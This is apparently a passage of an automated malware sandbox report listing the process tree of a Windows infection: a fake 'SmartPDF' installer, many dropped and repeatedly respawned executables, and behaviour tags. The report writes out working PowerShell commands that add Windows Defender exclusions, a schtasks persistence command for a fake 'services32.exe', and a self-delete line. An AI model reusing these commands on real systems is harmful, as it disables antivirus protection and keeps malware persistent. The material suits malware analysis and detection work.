C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:8332

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:13736

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:16664

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:16472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 16472 -s 24
4⤵
- Program crash
PID:7668

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:8440

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:17424

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:17900

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:17224

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:2776

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:17864

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:17664

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:1124

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:12276

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:15696

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:17696

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:11712

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:15920

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:18900

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:15808

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:19076

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:19280

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:19572

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:20432

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:17804

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:19856

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:14140

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:21060

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:21368

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:15396

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:21892

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:22488

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:16612

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:16640

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:22204

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:21388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 21388 -s 24
4⤵
- Program crash
PID:13436

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:23416

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:23324

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:23160

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:9256

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 9256 -s 24
4⤵
- Program crash
PID:23696

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:23624

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:24120

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:19932

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
- Checks whether UAC is enabled
- Suspicious use of SetWindowsHookEx
PID:10504

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:24192

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:2340

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:18480

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:25268

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:24372

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:22476

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:22428

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:20732

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:26320

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:27348

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:27056

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:25436

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:27608

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:27892

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:28592

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:27992

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:19044

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:27684

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:17928

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:15488

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
- Checks whether UAC is enabled
- Drops file in Program Files directory
PID:4524

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:26044

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:4028

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:29348

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:29960

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:30556

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:30340

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:30244

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:29628

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:29148

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:31320

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:30728

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:28432

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:30916

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:31416

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:31900

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:29400

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:23424

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:30412

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:28096

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:33132

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:31444

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:33764

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:33328

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:33436

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:34172

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:33940

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:34732

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:34556

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:35792

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:35768

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:5356

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:36280

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:35912

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:36448

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:35724

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:35900

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:36680

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:37416

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:27044

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:36944

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:37476

C:\Users\Admin\Documents\wOhyu7uyfhOoSFat6vqacOMi.exe
"C:\Users\Admin\Documents\wOhyu7uyfhOoSFat6vqacOMi.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4320

C:\Users\Admin\Documents\QpflhReHEbaJxS3maD5rm7rR.exe
"C:\Users\Admin\Documents\QpflhReHEbaJxS3maD5rm7rR.exe"
2⤵
- Executes dropped EXE
PID:2116

C:\Users\Admin\Documents\QpflhReHEbaJxS3maD5rm7rR.exe
"C:\Users\Admin\Documents\QpflhReHEbaJxS3maD5rm7rR.exe" -u
3⤵
PID:2136

C:\Users\Admin\Documents\dk0ivmPfP7wWPHyhH0zbJ4dP.exe
"C:\Users\Admin\Documents\dk0ivmPfP7wWPHyhH0zbJ4dP.exe"
2⤵
- Executes dropped EXE
PID:1592

C:\Users\Admin\Documents\dJXLCGaWpZvUE6k1lOs2hqfb.exe
"C:\Users\Admin\Documents\dJXLCGaWpZvUE6k1lOs2hqfb.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1116

C:\Users\Admin\AppData\Roaming\4391373.exe
"C:\Users\Admin\AppData\Roaming\4391373.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:6688

C:\Users\Admin\AppData\Roaming\6205993.exe
"C:\Users\Admin\AppData\Roaming\6205993.exe"
3⤵
- Suspicious behavior: SetClipboardViewer
PID:6748

C:\Users\Admin\AppData\Roaming\7209608.exe
"C:\Users\Admin\AppData\Roaming\7209608.exe"
3⤵
PID:6852

C:\Users\Admin\AppData\Roaming\1862275.exe
"C:\Users\Admin\AppData\Roaming\1862275.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5788

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:5092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:7976

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2536

C:\Users\Admin\AppData\Local\Temp\is-DKIQ2.tmp\dk0ivmPfP7wWPHyhH0zbJ4dP.tmp
"C:\Users\Admin\AppData\Local\Temp\is-DKIQ2.tmp\dk0ivmPfP7wWPHyhH0zbJ4dP.tmp" /SL5="$E01EC,138429,56832,C:\Users\Admin\Documents\dk0ivmPfP7wWPHyhH0zbJ4dP.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:4216

C:\Users\Admin\AppData\Local\Temp\is-CT7QP.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-CT7QP.tmp\Setup.exe" /Verysilent
2⤵
- Checks computer location settings
- Drops file in Program Files directory
PID:5024

C:\Program Files (x86)\SmartPDF\SmartPDF\SmartPDF.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\SmartPDF.exe"
3⤵
PID:8380

C:\Windows\SYSTEM32\cmd.exe
"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
4⤵
PID:9020

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
5⤵
PID:9888

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Program Files (x86)\SmartPDF\SmartPDF\SmartPDF.exe"
4⤵
PID:10052

C:\Users\Admin\AppData\Local\Temp\svchost32.exe
C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Program Files (x86)\SmartPDF\SmartPDF\SmartPDF.exe"
5⤵
PID:10996

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"' & exit
6⤵
PID:10084

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"'
7⤵
- Creates scheduled task(s)
PID:11600

C:\Windows\system32\services32.exe
"C:\Windows\system32\services32.exe"
6⤵
PID:7096

C:\Windows\system32\cmd.exe
"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
7⤵
PID:10536

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
8⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:4056

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
8⤵
PID:11944

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Windows\system32\services32.exe"
7⤵
PID:8732

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost32.exe"
6⤵
PID:3720

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 3
7⤵
PID:12244

C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
3⤵
PID:5912

C:\Users\Admin\AppData\Local\Temp\is-TCGH0.tmp\stats.tmp
"C:\Users\Admin\AppData\Local\Temp\is-TCGH0.tmp\stats.tmp" /SL5="$5024C,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
4⤵
PID:4056

C:\Users\Admin\AppData\Local\Temp\is-DMMDL.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-DMMDL.tmp\Setup.exe" /Verysilent
5⤵
- Checks computer location settings
PID:11100

C:\Users\Admin\Documents\2kCRbRBJ46r8dVGoSSMFrgwO.exe
"C:\Users\Admin\Documents\2kCRbRBJ46r8dVGoSSMFrgwO.exe"
6⤵
- Drops file in Program Files directory
PID:16708

C:\Users\Admin\Documents\X6tQK7vBJs_pwTrd5DTxMkPo.exe
"C:\Users\Admin\Documents\X6tQK7vBJs_pwTrd5DTxMkPo.exe"
6⤵
PID:16808

C:\Users\Admin\Documents\9sggc7egE2epmPHYl4I1mBMb.exe
"C:\Users\Admin\Documents\9sggc7egE2epmPHYl4I1mBMb.exe"
6⤵
PID:16996

C:\Windows\SysWOW64\explorer.exe
"C:\Windows\SysWOW64\explorer.exe"
7⤵
PID:17624

C:\Users\Admin\Documents\ZU3MhwtpnVXVKlAzRxd2j_dn.exe
"C:\Users\Admin\Documents\ZU3MhwtpnVXVKlAzRxd2j_dn.exe"
6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
PID:16988

C:\Users\Admin\Documents\TyE23oXVALtcuaD9tYxpzVQM.exe
"C:\Users\Admin\Documents\TyE23oXVALtcuaD9tYxpzVQM.exe"
6⤵
PID:16896

C:\Users\Admin\Documents\lMp1REOhZuDfEm5y5NdNkRzD.exe
"C:\Users\Admin\Documents\lMp1REOhZuDfEm5y5NdNkRzD.exe"
6⤵
PID:16800

C:\Users\Admin\Documents\F7ascTjqVZ98N6kZmLBjT8uz.exe
"C:\Users\Admin\Documents\F7ascTjqVZ98N6kZmLBjT8uz.exe"
6⤵
PID:16696

C:\Users\Admin\AppData\Roaming\5428903.exe
"C:\Users\Admin\AppData\Roaming\5428903.exe"
7⤵
PID:23128

C:\Users\Admin\AppData\Roaming\6119286.exe
"C:\Users\Admin\AppData\Roaming\6119286.exe"
7⤵
- Suspicious behavior: SetClipboardViewer
PID:7964

C:\Users\Admin\AppData\Roaming\3336420.exe
"C:\Users\Admin\AppData\Roaming\3336420.exe"
7⤵
PID:23068

C:\Users\Admin\AppData\Roaming\2612362.exe
"C:\Users\Admin\AppData\Roaming\2612362.exe"
7⤵
PID:20868

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
"C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe"
6⤵
PID:16652

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:11116

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:17960

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:15016

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:6736

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:15680

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:17644

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:15736

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
